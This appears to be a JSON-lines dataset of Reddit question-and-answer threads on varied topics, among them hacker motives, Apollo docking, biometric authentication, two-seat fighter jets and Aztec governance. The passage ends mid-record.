{"q_id": "6jtthu", "title": "why do hackers hack things like youtube / instagram / twitter ect accounts and do nothing but use it to promote themselves or their hacking group?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6jtthu/eli5_why_do_hackers_hack_things_like_youtube/", "answers": {"a_id": ["djgyyeo", "djgz1ce"], "score": [3, 11], "text": ["Depends on the hacker.  Some groups are looking to promote themselves because they sell their knowledge/tools/exploits on the web.  Others might be in it for their ego/entertainment.  Some might hold a grudge.\n\nEdit: example, I believe the group that normally gets noticed for occasionally DDOSing (distributed denial of service) the PlayStation Network is actually advertising their DDOS tool/service to other hackers when they do so.", "Ethical hacking is definitely a thing, although 'ethical' is used loosely.  Some of these hackers run a business that helps other businesses find security flaws in their network and application.  Except too often, this hacking is done before anyone agrees to the service.  They'll hack a business, send them some sample data they extracted, and say \"Look what I did.  Pay me $100k to find out how I did it and how to stop it.\"  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1jtxkk", "title": "What is the evidence for the \"Henry Tandey spared Hitler's life during WWI,\" story?", "selftext": "If you're unfamiliar with this fantastical story here is the wikipedia page: _URL_0_\n\nI ask because I can't find any evidence for it. The only source seems to be an off hand remark Hitler made to Chamberlain in 1938. The only book written specifically on the encounter (One Soldier And Hitler, 1918 by David Johnson) only exists as a hard copy, and in no libraries around me. I also cannot find any of the bibliographic information used for the book. Furthermore, I cannot find a single other work written by the author, nor is there seemingly information about the author himself. \n\nThe thing that has struck me as most odd, though, is the complete lack of academic research on the matter. Tandey is supposedly the most decorated British soldier of WWI, a man who spared Hitler's life, and yet I cannot find a single reliable article on him. Everything comes from blogs or other dubious internet sources. I searched JSTOR, but came up completely empty handed. It's really driving me nuts! Came anyone help with some reliable information? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jtxkk/what_is_the_evidence_for_the_henry_tandey_spared/", "answers": {"a_id": ["cbi9wyg"], "score": [5], "text": ["I can't provide any reliable sources because I simply can't find any either, but [this](_URL_0_) site also explains the incident quite well. Obviously the dispute is not that the incident happened (if we take Tandey's word for it), but whether the wounded German soldier was Hitler. I do like the following quote from the article:\n\n >  The authenticity of the Tandey-Hitler encounter remains in dispute, though evidence does suggest that Hitler had a reproduction of the Matania painting as early as 1937\u2014a strange acquisition for a man who had been furious and devastated by the German defeat at Allied hands in the Great War. \n\nThere was probably not a single soldier who did not have a near death experience, and I am inclined to believe from my research that there are many instances of British and German soldiers alike letting a wounded enemy soldier go, so this incident probably wasn't unlikely to occur, especially as Hitler was wounded two more times later on in the war (and there is the story of the sniper shooting his best friend who was standing beside him). On the other hand, however, there are no reports to prove where Hitler or his battalion were stationed on that day, so it is impossible to know for sure if it was him. Although the picture (and the resulting photograph) are intriguing, could Hitler really have known who it was that let him go? Especially if he was badly wounded? If he did, could he have recognised him from a painting? It must have been a very good one, that's for sure.\n\nSorry I can't be more help, but this story is very interesting and I just wanted to post my view. I might do some research myself when I find some time.\n\nEdit: You might consider cross-posting this to /r/wwi, or I can do it for you. It's an interesting question and somebody there may be able to help."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Henry_Tandey"], "answers_urls": [["http://www.history.com/this-day-in-history/british-soldier-allegedly-spares-the-life-of-an-injured-adolf-hitler"]]}
{"q_id": "11r87x", "title": "How did the LM connect to the CSM in Apollo era missions?", "selftext": "I was watching Apollo 13 last night with my wife and I've always wondered: how exactly did the LM connect with the CSM? I understand the basic principle that they had a retraction device that engaged once the probe on the CSM made a connection with the dock on the LM, but what I don't get is how that then opened up the tunnel we see the astronauts using to ferry themselves between the LM and CSM. Where did all that space come from? My wife suggested the probe on the CSM split open the top of the LM like a can opener, but that couldn't work because the LM has to separate for the moon landing. So, how exactly did they come up with an airtight system that could create an open, usable passage between the LM and CSM and still be reused for lunar excursions? Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11r87x/how_did_the_lm_connect_to_the_csm_in_apollo_era/", "answers": {"a_id": ["c6oxatu", "c6p6nhh"], "score": [2, 2], "text": ["If you look at the drawings and pictures of the LM (I have a pile of them from the NASA servers in my images directory) you see a rather large flat space around the top hatch on the LM and some hard points for them to clamp on.\n\nWhat they did was grabbed on to the LM then pulled it tight to seal a gasket against the mating surface around the hatch.  When you see images from inside you'll see that there are two doors (one on the CM, one on the LM).", "I found a few [descriptions with some pictures](_URL_0_) of the system and [how it was used](_URL_1_). In summary, once the probe has retracted and pulled the gasket and clamps together, the space inbetween the two vehicles forms a tunnel section that has the probe and drogue inside it, and a hatch on each end. An astronaut pressurizes the space, the opens the one hatch. They disconnect both the probe and the drogue and pass them back to the command module where they're stored, then open the other hatch into the LM.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://heroicrelics.org/stafford/apollo-probe-and-drogue/index.html", "http://www.apollosaturn.com/asnr/docking.htm"]]}
{"q_id": "33qj1g", "title": "Why Cartesian Coordinate System uses X and Y?", "selftext": "As the title says why does it uses those two letters to express a particolar coordinate? And no letters like K or J (for example) are used?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/33qj1g/why_cartesian_coordinate_system_uses_x_and_y/", "answers": {"a_id": ["cqnh8lb", "cqnhd7w", "cqnhkr0", "cqnhui7"], "score": [9, 8, 33, 37], "text": ["In many instances J and K are used (interesting choice actually).  Vector coordinates are often expressed using J and K.\n\nIf I understand your question correctly you are asking why we as a society agreed upon and selected X and Y as our representation of arbitrary orthogonal axses.  Is that correct?  I don't know the history of it and can't speak to that element, but you will find that different fields often have their own arbitrary letters or designations for an axis or symbols for the same concepts.  Its all arbitrary from a mathematical standpoint, so it is just a question of agreeing on a convention.\n\n*Side note, it is arbitrary from a nomenclature standpoint, it is not arbitrary once a convention is set and assigned.", "It looks like the convention of using x and y as the names of the coordinates dates [all the way back to Descartes](_URL_0_). It normally makes sense for everyone to be consistent, because it's easier to interpret the graph of an equation when you don't have to guess which variable goes with which axis.", "This is really more of a historical question than a mathematical question. /r/history or /r/askhistorians might be able to give a better answer.\n\nIn the West, x-y-z notation was popularized by Renee Descartes, who invented the [cartesian coordinate system](_URL_2_). Why Descartes used x-y-z for his coordinates is [not entirely clear](_URL_1_). An often repeated story is that the typesetter for his book used the letter x, y, and z because they are uncommon in French and Latin and therefore he typically had an excess of those blocks. However, Descartes used x as an unknown before his book was typeset, so that story is probably apocryphal.\n\nIn modern times, x, y, and z are simply used because it is convention. Mathematicians generally want to avoid confusion, so using the same letters as everyone else keeps things easy and consistent.\n\nOther letters are used, however. U and V are often used when relating one vector space (denoted X and Y) to another (denoted U and V). A, B, and C are typically used for [crystal lattices](_URL_0_). And so on...", "The reason you solve for X is because of Arabic. This: _URL_0_ Is actually very interesting. \n \nY is just the next letter, so it makes sense for the next dimention to be the next letter, followed by Z for the third. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.todayifoundout.com/index.php/2014/11/origins-mathematical-convention-using-x-unknown/"], ["http://en.wikipedia.org/wiki/Lattice_constant", "http://io9.com/why-do-we-use-the-letter-x-to-represent-the-unknown-1588933259", "http://en.wikipedia.org/wiki/Cartesian_coordinate_system"], ["http://www.npr.org/2015/03/06/388518850/why-do-we-solve-for-x"]]}
{"q_id": "4f2knd", "title": "why did it take a week for the dragon capsule to dock with the iss", "selftext": "The ISS can be just 400km away from the launchpad and the rocket to get the capsule in orbit does it's job in the first hour. So what happens the rest of the week?\n\nEdit: \nThanks for answering my question. Little follow up question; Does anyone have a source for the answer?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4f2knd/eli5_why_did_it_take_a_week_for_the_dragon/", "answers": {"a_id": ["d25cf3s"], "score": [3], "text": ["The ISS isn't just hanging in space motionless relative to the ground. It's booking along at 17,000 MPH (~27,000 km/h). If you just fired the capsule right at it (or where it would be when the two met) they'd slam into each other at an absolutely ridiculous speed.\n\nSo instead you insert the capsule into orbit in a way where it will meet the ISS at a reasonable speed. Because both the capsule and the ISS have very limited maneuvering abilities matching speeds is done slowly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f1gigf", "title": "History Master\u2019s vs PhD", "selftext": "High school: 3.98 GPA Community College: 3.7 GPA University: currently all A\u2019s\n\nHello all! I\u2019m a community college transfer in my first semester at a university. My end goal is to become a history professor, so I\u2019m deciding whether getting a master\u2019s first and then a PhD. I\u2019ve done a lot of research on funding and how that works, so I know a master\u2019s likely won\u2019t be funded unless I work as a TA or something. Really, I\u2019m wanting to know how difficult a history master\u2019s is vs a PhD. One of my history professors told me that getting his master\u2019s was really easy because all he did was read and write papers (my two strengths) and he didn\u2019t have to worry about all the exams all the time. I was just wanting to know if this is universally the case for most people and if I should do this or go straight from undergrad to PhD. My main worry is that I\u2019m not smart enough for a PhD, but maybe I am. I\u2019m really not sure. Any advice or firsthand accounts would be awesome!\n\nEDIT: For what it\u2019s worth, I am in the USA and I\u2019m mostly interested in 20th century US (and I\u2019ve found recently I\u2019m really loving colonial America too).\n\nNote: Please don\u2019t try to dissuade me. I know all about the job market, but this is 10000% my passion and I\u2019ve never enjoyed anything other than history.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f1gigf/history_masters_vs_phd/", "answers": {"a_id": ["fh6ft8y", "fh6ftjr", "fh73yy5"], "score": [7, 6, 3], "text": ["It really depends on what school you go to and the specific requirements of the program - sometimes you can do a one-year MA, or sometimes it's two years, and sometimes you might need to write a Master's thesis, and sometimes it will just be coursework and essays and exams. Things might differ depending on what kind of history you want to study.\n\nSince you mentioned community college and GPA, I assume you're in the US, and since there's an enormous amount of schools there it's hard to be specific...but from my experience (in Canada, University of Toronto), the MA was basically just like \"year zero\" of the PhD program.\n\nWe could have done a two-year MA and could have written an MA thesis - that was the \"terminal MA\" option, for people who didn't plan on continuing to the PhD program. Personally I can't think of anyone who chose that route.\n\nFor people continuing into the PhD program, we didn't have to write an MA thesis, but there were classes and exams. Assuming you passed all the exams with sufficiently good grades, you were allowed to continue on into the PhD program...you still had to apply, of course, but almost everyone in year 1 of the PhD with me had also been in the MA program the year before. For the PhD there was a couple of years of coursework and more exams, and then you spent the rest of your time researching and writing your thesis (which generally took 5-7 years, among the people I went to school with).\n\nSo for me, the MA was sort of like the minor leagues of the PhD. It was like practise for the stress of the PhD program. If you could hack it in the MA year, you'd probably be fine...some people eventually did drop out as PhD students, but definitely, the ones who couldn't handle the MA year didn't apply (or didn't get in) to the PhD program. \n\nAlso some people did the MA in Toronto and went somewhere else for their PhD, and some people had done an MA elsewhere first. Sometimes that is preferrable, apparently - maybe in some areas of history it's considered bad form to stay in one place? But like I said, almost all the PhD students in Toronto did their MA there too.", "Hello! Not a History major here (final year of Anthropology, admitted to a PHD program for the fall), but if you are going to get a PHD eventually in order to be hired as a professor, then you should shoot for a PHD program. Most require you getting your \u201cmasters\u201d along the way, so if something changes and you want to stop at your masters, most PHD programs have a solution to let you end at your masters. It is more difficult to get into PHD programs of course, but not impossible if you work hard, focus, and make good connections! As you seem to be passionate about your field, look into getting some undergrad research experience to make sure you are ready for the graduate world of academic research. Also, I would never say that a masters program is inherently easier than a PHD program; they both have positives and negatives and some people are suited for one or the other. Good luck!", "Answering entirely from my own personal experience here. My BA is in Historical Studies and I asked one of my mentoring history professors the same sort of thing. The general advice was: \n\n1) the MA won\u2019t be funded, basically at all. Only do a terminal MA if you have to or are unsure of wanting to do a PhD.\n\nAnd 2) many of the PhD programs will require you to essentially do an MA in your first two years of the program, even if you already have one.\n\nI am currently in the terminal MA program\u2014not a History program but related to my area of interest\u2014that my mentoring professor suggested as a non-PhD option. It is unfunded and very expensive (out of state still applies for graduate students.) I like the program, but having decided to actually apply to PhD programs this past fall I know I will, for sure, have to do not one but two more Master\u2019s degrees for my top choice if I get in.\n\nSo that is definitely something to consider.\n\nThe other thing to consider is that there are a vanishingly small number of terminal MA programs for History, going to PhD programs gives you a much wider pool of options."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6sdenc", "title": "How is biometric authentication not practically the same as using the same password for everything?", "selftext": "Sure it is a good password so it can't practically be guessed, but in the event of a database leak with all our fingerprints they are no longer secure and can no longer be used, ever really.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6sdenc/how_is_biometric_authentication_not_practically/", "answers": {"a_id": ["dlbv8cg"], "score": [18], "text": ["Biometrics, although intended as an authentication method, are significantly different than passwords.\n\n1. Biometrics can be forged - forging a password means you know it\n2. #1 is because a biometric is _something you have_, while a password is _something you know_. Ideally one would use them together in a 2-factor authentication system\n3. Passwords are secret data. Algorithms can manipulate (secret) data to realise useful security properties like confidentiality and authentication. However, passwords are intended to be remembered by humans, severely compromising their entropy, and thus their usefulness to said algorithms\n4. Biometrics are _measures_ of the human body, and thus are susceptible to measurement errors. Additionally, they are not secret, aka _confidential_; you show your retina to everyone you meet every day, your fingerprints are all over your desk, the cafeteria, the bottle you just picked up, etc.\n5. To satisfy the property that a biometric must authenticate a person in the face of measurement errors, it must be suitably _unique_. Corollary is, of course, that you aren't able to change it often, or at all.\n\nIn a general context, you are thus correct: since a biometric represents something you have, and you can't alter it very easily (although that's the very thing cosmetic surgery is fighting against), it would be equivalent to using the same password for every purpose. This goes against the general guideline that instruct us to not use the same password for multiple services, because that leads to a centralised failure mode: if one of these services is compromised, your account in all the rest is also compromised.\n\nBiometrics work better in local contexts. A _local context_ is where there is an available \"honest\" system; no men-in-the-middle, possibly physically isolated, etc. Biometrics are good at authenticating a human body _locally_, but that is also where passwords are just as good: it is very common to use a generic smartcard or a 4-digit PIN to enter your workplace."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2d2fkp", "title": "what's the point of two pilots in a fighter jet? what does the second pilot do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2d2fkp/eli5whats_the_point_of_two_pilots_in_a_fighter/", "answers": {"a_id": ["cjldzgb", "cjldzr9", "cjle021", "cjletbj", "cjli9je", "cjlk8n3", "cjlmk1f", "cjlnm3c", "cjlo9x4", "cjloa7v", "cjloemy", "cjloumn", "cjlp9op", "cjlpyfq"], "score": [8, 4, 8, 1203, 2, 45, 8, 2, 2, 4, 6, 21, 3, 2], "text": ["Often the second person manages the navigation, weapons, communications, radar, and various other systems so the pilot can focus on actually flying the aircraft. In a front-and-rear setup, the front person is usually called the pilot and has a much better view outside. The person behind usually has a crap view because of all the screens and such, and so rarely has physical control of the aircraft.", "The \"second pilot\" has piloting skills, but doesn't function as a pilot.  His role is to take care of navigation and/or controlling the various weapons platforms being used on the particular fighter.  This frees the pilot of these duties which could otherwise turn into a disastrous distraction at the speeds being flown in air combat.", "The pilot flies and commands the craft\u2026 The back seat [depending on the plane] radar, weapons, radios, navigation. The pilot still fires weapons.", "Ooh, ooh! Air Force munitions guy here. Depending on the type of \"fighter jet\" you're referring to, they might not even be the same *job* in the back seat. The Navy has a high-speed jet that's very much *like* a fighter (it was actually based on a fighter airframe) and it's primary job is \"electronic warfare\"...from the skies. In that jet, the \"passenger\" (for lack of a better term) is an electronic warfare specialist. Looking for radar and other radio signals, communications, stuff like that.\n\nOther aircraft, as said, have navigators for longer flights or flights (like in Afghanistan) where we might have to navigate sparsely populated massive mountain ranges. Others are weapons systems officers (WSO, pronounced \"wizzo\") that handle the often *very* complicated weapons systems. If you're in a straight-up \"shoot down other fighter jets\" plane, you might not have a passenger, but we're rarely up against other jets in dogfights anymore. And if you're on a \"fighter\" that's really been repurposed into a flexible response light bomber, you might have half a dozen guided bombs with you, and the guy driving the jet can't really do the supersonic aerial equivalent of checking his Facebook on his phone while he's dodging traffic doing 80 down a busy highway.\n\nTLDR: It depends on the jet and the mission, but just *flying* a fighter jet is *hard* and very demanding, and if a guy in the sky wants to do anything while he's *in* the air, like dropping bombs, finding targets, navigating, listening or trying to take pictures, it's very helpful to have somebody who *doesn't* need to keep the thing in the air to help.", "One to not crash the thing into anything the other to work out where they are ", "Avionics technician here:\n\nThe only fighter in the USAF that's really designed to be operated with 2 seats currently flying is the F-15E; it's a multi-role fighter designed for both air to air and air to ground missions.\n\nFor a/a missions it really is the pilot doing most of the work, and most of the communication is done by the WSO or weapons systems officer.  So if they need to communicate to AWACS to confirm hey do you really want me to shoot this guy down it's probably done by the WSO.  He's also responsible for monitoring all the aircraft's sensors.  The entire time the aircraft is flying he's got his face buried in the 4 displays int he back seat looking for new radar contacts, trying to find out which ones are friendly and which ones are not, controlling the electronic warfare systems telling the pilot hey we're being painted by an SA-10 SAM but he's not a threat right now, the MiG-29 painting us is what we need to worry about.  \n\nFor A/G missions the WSO is the guy constantly talking to the guys on the ground that say \"see that treeline right there?\"  that's where we're at, see that building there...that's what we need leveled\".\n\nThe pilot is the one responsible for putting the putting the aircraft into a position where the weapons can be employed in the most effective manner.  For example, certain laser guided bombs are designed to \"go long\" when they miss; so you want to fly in the direction where if the bomb misses it has the least likely chance of hitting friendlies.\n\nMany 2 seat fighters such as the F-111 and the F-14 don't even have controls in the rear seat; the F-15E is an exception though because it was designed from the F-15D which was a trainer for the F-15C.  The instructor pilot sat in the back seat and everything you can do from the front you can do from the rear with the exception of lower/raise the landing gear (there is an emergency procedure that allows you to do it from the rear) and start/shut down the engines.", "Not a fighter pilot, but I do fly helicopters for the army!  Obviously very different aircraft, but like several others have said, it comes down to cockpit management.  All army helicopters are two pilot aircraft.  Some aircraft have dedicated jobs that each pilot must execute, while others (like mine) are completely interchangeable and it's entirely up to the crew how to split cockpit duties.  Most rotary aircraft don't just fly straight and level if you just let go of the controls, even with trim.  (Trim is a function which holds the controls in a certain place for you.)  Having another pilot up front really takes the load off of the pilot on the controls.  Navigating, tuning radios, looking up charts, etc when you can't take your hands off the controls is a definite pain.  Also, in the case that one pilot becomes incapacitated, the aircraft (and anybody riding in back) still can land in one piece. \n\nHope that helps!", "The navis are there for the pilot to eat if they end up having to eject", "Navigators.\n\n\"Wizzos\" (Weapons Systems Officers).\n\n\n", "They do the pew pew", "Completely unrelated, but I always hope that when someone asks a question about modern aviation,  someone else posts that story about the SR-71 pilot checking his airspeed.\n\n*fingers crossed*", "The SR-71 was a Jet that required 2 pilots, this story from Brian Shul talks about some of the duties of the second pilot. \n\n > There were a lot of things we couldn't do in an SR-71, but we were the fastest guys on the block and loved reminding our fellow aviators of this fact. People often asked us if, because of this fact, it was fun to fly the jet. Fun would not be the first word I would use to describe flying this plane. Intense, maybe. Even cerebral. But there was one day in our Sled experience when we would have to say that it was pure fun to be the fastest guys out there, at least for a moment.\nIt occurred when Walt and I were flying our final training sortie. We needed 100 hours in the jet to complete our training and attain Mission Ready status. Somewhere over Colorado we had passed the century mark. We had made the turn in Arizona and the jet was performing flawlessly. My gauges were wired in the front seat and we were starting to feel pretty good about ourselves, not only because we would soon be flying real missions but because we had gained a great deal of confidence in the plane in the past ten months. Ripping across the barren deserts 80,000 feet below us, I could already see the coast of California from the Arizona border. I was, finally, after many humbling months of simulators and study, ahead of the jet.\nI was beginning to feel a bit sorry for Walter in the back seat. There he was, with no really good view of the incredible sights before us, tasked with monitoring four different radios. This was good practice for him for when we began flying real missions, when a priority transmission from headquarters could be vital. It had been difficult, too, for me to relinquish control of the radios, as during my entire flying career I had controlled my own transmissions. But it was part of the division of duties in this plane and I had adjusted to it. I still insisted on talking on the radio while we were on the ground, however. Walt was so good at many things, but he couldn't match my expertise at sounding smooth on the radios, a skill that had been honed sharply with years in fighter squadrons where the slightest radio miscue was grounds for beheading. He understood that and allowed me that luxury. Just to get a sense of what Walt had to contend with, I pulled the radio toggle switches and monitored the frequencies along with him. The predominant radio chatter was from Los Angeles Center, far below us, controlling daily traffic in their sector. While they had us on their scope (albeit briefly), we were in uncontrolled airspace and normally would not talk to them unless we needed to descend into their airspace.\nWe listened as the shaky voice of a lone Cessna pilot asked Center for a readout of his ground speed. Center replied: \"November Charlie 175, I'm showing you at ninety knots on the ground.\"\nNow the thing to understand about Center controllers, was that whether they were talking to a rookie pilot in a Cessna, or to Air Force One, they always spoke in the exact same, calm, deep, professional, tone that made one feel important. I referred to it as the \" Houston Center voice.\" I have always felt that after years of seeing documentaries on this country's space program and listening to the calm and distinct voice of the Houston controllers, that all other controllers since then wanted to sound like that, and that they basically did. And it didn't matter what sector of the country we would be flying in, it always seemed like the same guy was talking. Over the years that tone of voice had become somewhat of a comforting sound to pilots everywhere. Conversely, over the years, pilots always wanted to ensure that, when transmitting, they sounded like Chuck Yeager, or at least like John Wayne. Better to die than sound bad on the radios.\nJust moments after the Cessna's inquiry, a Twin Beech piped up on frequency, in a rather superior tone, asking for his ground speed. \"I have you at one hundred and twenty-five knots of ground speed.\" Boy, I thought, the Beechcraft really must think he is dazzling his Cessna brethren. Then out of the blue, a navy F-18 pilot out of NAS Lemoore came up on frequency. You knew right away it was a Navy jock because he sounded very cool on the radios. \"Center, Dusty 52 ground speed check\". Before Center could reply, I'm thinking to myself, hey, Dusty 52 has a ground speed indicator in that million-dollar cockpit, so why is he asking Center for a readout? Then I got it, ol' Dusty here is making sure that every bug smasher from Mount Whitney to the Mojave knows what true speed is. He's the fastest dude in the valley today, and he just wants everyone to know how much fun he is having in his new Hornet. And the reply, always with that same, calm, voice, with more distinct alliteration than emotion: \"Dusty 52, Center, we have you at 620 on the ground.\" And I thought to myself, is this a ripe situation, or what? As my hand instinctively reached for the mic button, I had to remind myself that Walt was in control of the radios. Still, I thought, it must be done - in mere seconds we'll be out of the sector and the opportunity will be lost. That Hornet must die, and die now. I thought about all of our Sim training and how important it was that we developed well as a crew and knew that to jump in on the radios now would destroy the integrity of all that we had worked toward becoming. I was torn.\nSomewhere, 13 miles above Arizona, there was a pilot screaming inside his space helmet. Then, I heard it. The click of the mic button from the back seat. That was the very moment that I knew Walter and I had become a crew. Very professionally, and with no emotion, Walter spoke: \"Los Angeles Center, Aspen 20, can you give us a ground speed check?\" There was no hesitation, and the replay came as if was an everyday request. \"Aspen 20, I show you at one thousand eight hundred and forty-two knots, across the ground.\" I think it was the forty-two knots that I liked the best, so accurate and proud was Center to deliver that information without hesitation, and you just knew he was smiling. But the precise point at which I knew that Walt and I were going to be really good friends for a long time was when he keyed the mic once again to say, in his most fighter-pilot-like voice: \"Ah, Center, much thanks, we're showing closer to nineteen hundred on the money.\" For a moment Walter was a god. And we finally heard a little crack in the armor of the Houston Center voice, when L.A.came back with, \"Roger that Aspen, Your equipment is probably more accurate than ours. You boys have a good one.\" It all had lasted for just moments, but in that short, memorable sprint across the southwest, the Navy had been flamed, all mortal airplanes on freq were forced to bow before the King of Speed, and more importantly, Walter and I had crossed the threshold of being a crew. A fine day's work. We never heard another transmission on that frequency all the way to the coast.\nFor just one day, it truly was fun being the fastest guys out there.", "[Goose, that's two O's](_URL_0_)", "I used to be a fairy(avionics tech) in Her Majesties Finest and one of the last see off/see ins i did was also the pilots before he moved to another squadron. As the Tornado F3 was taxiing back to the HAS I noticed the corporals face looked puzzled. When I asked him what was wrong he said 'I'm sure thats the nav sat in the front seat'. Sure enough it was, they'd switched places mid flight. May not sound much but if you've seen the cockpits of these things they are tight as hell and around the sides are handles to set off the MDC(explosive to shatter the canopy when ejecting). Still have no idea how they did it. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], ["http://youtu.be/PLzVbz2HHzo"], []]}
{"q_id": "7lx3uu", "title": "The element Oganesson has the highest proton count of any element , what is stopping us from artificially adding a proton to it to see what new element we have created?", "selftext": "I know that adding new protons to an element has been done before but that it is very expensive and usually produces a radioactive element but surely it would be worth the cost and risk to see what goes beyond the Oganesson?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7lx3uu/the_element_oganesson_has_the_highest_proton/", "answers": {"a_id": ["drpp3x5"], "score": [34], "text": ["All of the nuclides which are easy to produce using currently existing facilities have been produced already. Given the way that Oganesson has been produced so far, it's not easy to just shoot another proton at it (or shoot it at a hydrogen-rich target) and measure the reaction products. The superheavy nuclides we've discovered have lifetimes on the order of milliseconds or so, which *is* long enough to run experiments with. But it would be very technically challenging to do the experiment you're suggesting.\n\nThese superheavy experiments run for a month or so at a time and hope to see *a few* events where a new element was produced. They are typically produced using low-energy fusion reactions. So you would either have to slow down the superheavy nucleus and bombard it with protons, or you have to speed up the superheavy nucleus and shoot it at a plastic target and hope it picks up a proton. These kinds of experiments can be done in principle; this is often how radioactive beam experiments are done. But if you get a few counts a month of the original superheavy nuclide, and there's a very small probability of proton capture, the experiment would take way too long to see any valid events.\n\nThere is no existing facility that could perform an experiment like that in a reasonable amount of time. You'd be much better off just trying to produce element 119 directly in the fusion reaction with some different combination of beam and target."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "56f0pr", "title": "mark-to-market accounting", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/56f0pr/eli5_marktomarket_accounting/", "answers": {"a_id": ["d8isn60", "d8it1vx"], "score": [3, 3], "text": ["Mark to market means updating the price of an asset as the market changes, rather than using some other system to determine its value.  \n\nAn easy way to understand it is to pretend you are a bank.  As a bank, you are allowed to loan a certain amount of money relative to what you have on hand.  So, for instance, if you have $100 in cash in your vault, you might be able to have up to $1,000 in loans out at a given time, a 10 to 1 ratio.  If you lose fifty of those dollars, then you'd have to call in $500 of those loans to keep that ratio. \n\nThis becomes more complicated, though, if the asset isn't cash.  Say, instead of $100 dollars, the bank has a house that is valued at $100 dollars (cheap house, I know, but near with me). The bank paid $100 dollars for the house, and that's what the paperwork says. \n\nBut now, say there's a collapse in the local housing market.  If you tried to sell the house now, you'd only get $50.  You haven't sold the house -- you hold the same asset and it's price could rise -- so what do you do?\n\nIf you mark to market, you lower it to 50, because that's the market price. ", "Basically means if you are holding assets like securities, you have to value them at what the current market price shows they are worth.  \n\nBefore the Mark-To-Market rules, companies would carry now worthless investments on their books as if they were still worth what they paid for them.  This means that they had significantly less in assets than their books declared.  \n\nSo in an ELI5 answer\nWalmart has a shelf full of Star Wars Galaxies and lists them at $50.00 a copy.  They claim they have $5,000 in inventory.  You know the game servers have been disconnected for years so the game is worthless.  No one is going to buy a game that you can't play.  \n\nUnder Mark-to-market the company basically has to write off the games as worthless.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "190a4i", "title": "How did Mesoamerican governments function, and what kind of authority did they possess? ", "selftext": "I've read The Maya by Micheal D. Coe and some online sources about other Mesoamerican cultures, and while there's a lot of information on the lifestyle and ritual activities of their rulers, there's not very much detail on their administrative duties. \n\nI'd like to know how they governed the populace; if they had a codified system of laws and if they did, what sort of laws and regulations they had; how crime was punished; if and how taxes were collected; how the government was organized; and about any other functions their governments might have had. \n\nI realize that's a pretty broad question, so answers on a more specific culture and time period are welcome. \n\nI also have one more question, one that's been bugging me for a long time. Scholars usually describe Mesoamerican polities as states or kingdoms, but the word \"tribe\" gets attached to them as well (mostly by laymen). Were Mesoamerican societies tribal in nature, or is that a popular misconception?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/190a4i/how_did_mesoamerican_governments_function_and/", "answers": {"a_id": ["c8kfr6a"], "score": [3], "text": ["I don't feel confident giving you the Classic Maya account, but I'll see what I can do about explaining the general template in Post-Classic Valley of Mexico.\n\nFirst, you are correct that calling groups like the Maya or Aztecs (or Tarascans, Otomi, Mixtec, Zapotec, etc.) \"tribes\" is a terrible misnomer. These groups were as much as tribes as Charlemange's Franks or Pericles' Athenians were tribe. They were state level societies, and as such they had their own haughty words to call less complex groups; the Aztecs had the [Chichimecs](_URL_2_), for instance (although technically the Aztecs were a Chichimec people).\n\n**Organization of the State**\n\nNow, people in the time of the Aztecs didn't call their polities \"states,\" the term used would be *altepetl*, which roughly corresponds to something like a city-state. The ruler of an altepetl was known as the *Tlatoani* (speaker) and was an elected-for-life position, as the Tlatoani would be chosen by a group of the upper nobility. In theory this meant anyone could become the ruler, in practice though, it meant choosing from a small group of relatives of the recently deceased ruler. In actual practice, the selection was a foregone conclusion, with certain [military-political posts](_URL_4_) acting as de facto Tlatoani training.\n\nWhile ultimate authority rested with the Tlatoani and his council, everyday functionality of the state rested with the *calpultin* (sing. *calpulli), the wards/neighborhoods that comprised the city. A calpulli headed by a *calpuleh* would have its loosely organized police force, act as a lower court for minor infractions, be responsible for collecting and paying taxes, and would also have a school for the Aztecs universal education system.\n\n\n**Legal System**\n\nFor more serious legal infractions, the offender entered a tiered system of standing before a panel of judges who were expected to follow precedent, but also use their best judgement in making decision and assigning punishments ranging from material restitution, corporal punishment, loss of property, public humiliation (typically in the form of a shaved head), being sold into slavery, imprisonment, to death. A decision could be appealed to a higher court, or even up to the Tlatoani and his councilors. The legal system priviledged nobility, as their cases would go directly to one of the higher courts. \n\nThe later Aztec judicial system has been described as \"legalist\" in that it was a strict, but clear and impartial, system of controlling almost all aspect of behavior. Adultery and public drunkenness, for instance, could potentially have a capital sentence. The [*Mapa Quinatzin*](_URL_1_) (I supply this link only to show how poorly Wikipedia handles the details of Mesoamerican history) records specific punishments for certain crimes. The [Tarlton Law Library](_URL_3_) has an excellent site on various Mesoamerican legal systems. The [Codex Mendoza](_URL_0_) also discusses crime and punishment.\n\n**Tribute and War**\n\nSpeaking of the *Codex Mendoza*, it's the best source for looking at the tribute flowing into the Aztec Triple Alliance at the time of Spanish contact. The Aztec imperial system was less about establishing direct territorial control and more about intimidating other polities into paying protection money. Each province in the Aztec Empire was given an amount of goods to supply at set time periods. Xoconusco, way down in modern day 